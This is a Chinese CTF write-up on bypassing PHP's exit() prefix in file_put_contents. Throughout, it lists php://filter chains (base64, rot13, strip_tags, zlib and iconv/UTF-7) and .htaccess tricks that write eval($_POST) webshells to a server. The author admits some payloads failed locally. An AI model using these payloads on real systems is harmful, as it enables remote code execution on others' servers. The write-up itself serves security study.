[WMCTF2020]Web-Check-in-2.0
给了源码,给了沙箱,给了这个file_put_contents写文件函数,基本上就是php死亡exit函数绕过了,还有几个禁用的过滤器,但是还是要写一下完整版的exit函数绕过
php 的 exit()函数绕过
这个知识点其实已经有师傅将的很详细了,本着好记性不如烂笔头的原则,先记下来自己测试一下,免得以后忘了
需要绕过exit()的地方一般都是file_put_contents
以前只见过file_put_contents($filename,"<?php exit();".$content);
这种形式,但其实还有另外两种,题目还是做少了
大致有如下三种
1 | file_put_contents($filename,"<?php exit();".$content); |
tips:伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个Warning,然后跳过继续执行
第一种情况
1 | file_put_contents($filename,"<?php exit();".$content); |
base64编码绕过
1 | filename=php://filter/convert.base64-decode/resource=shell.php |
利用php://filter
,先将内容进行解码后再写入文件
<?php phpinfo();?>
base64编码后为aPD9waHAgcGhwaW5mbygpOz8+
,至于为什么前面要加个a
,是因为base64解码以4个字节为1组转换为3个字节,前面的<?php exit();
符合base64编码的只有phpexit
这7个字节,因此添加一个字节来满足编码
最终效果如下
rot13编码绕过
1 | filename=php://filter/convert.string.rot13/resource=shell.php |
原理同上,因为不用考虑前面字符长度,更为方便
[
但有局限性,如果开启了短标签的话,前面内容就会解析,导致代码错误
过滤器嵌套绕过
一种payload【
1 | filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php |
string.strip_tags
可以过滤掉html标签和php标签里的内容,然后再进行base64解码
效果如下
需要注意的是string.strip_tags
在php7.3.0以上的环境下会发生段错误,从而导致无法写入,php5则不受影响
另外一种payload
1 | filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php |
先进行压缩,再转小写,再解压,最后可以非常巧合的发现目的代码并没有发生改变
但是我本地测试的时候发现这串代码并不能执行,很奇怪,也许是哪个的地方的配置不对
.htaccess的预包含利用
自定义包含flag文件
1 | filename=php://filter/write=string.strip_tags/resource=.htaccess |
因为string.strip_tags
,所以依旧只能在php5下使用
但这里我也没成功,提示我不能使用php_value
第二种情况
1 | file_put_contents($content,"<?php exit();".$content); |
rot13编码绕过
1 | content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php |
结果如下
如果rot
被过滤了的话可以考虑二次编码
1 | <?php |
过滤器嵌套绕过
1 | content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php |
原理同上
base64编码
1 | content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php |
因为base64在遇到=
后就结束了,因此可以先用string.strip_tags
来去掉前面php标签里的内容,然后剩下的进行base64解码即可
convert.iconv.*
convert.iconv.*过滤器等同于用iconv()
函数
通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)
1 | content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php |
通过usc-4的编码进行转换;对目标字符串进行2位一反转
1 | echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[1234]);?>'); |
使用utf【-8转为utf-7
=
转化为了+AD0-
,因此可以结合base64来绕过
1 | <?php @eval($_POST[123456789]);?>`base64后为`PD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+`,utf-7后为`PD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+- |
最终payload
1 | content=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|aaaaaaPD9waHAgQGV2YWwoJF9QT1NUWzEyMzQ1Njc4OV0pOz8+|/resource=shell.php |
第三种情况
1 | file_put_contents($filename,$content . "\nxxxxxx"); |
这种就很简单了
1 | filename=shell.php |
但如果过滤了php及起始结束符号的话,就要考虑写.htaccess
1 | filename=.htaccess |
转载链接:https://xiaolong22333.top/archives/114/
回归题目:
用POST下面的两条命令两条一个周期就行了,这个好像运行一次就会删除
参考题目链接:https://fushuling.com/index.php/2022/11/10/wmctf2020web-check-in-2-0/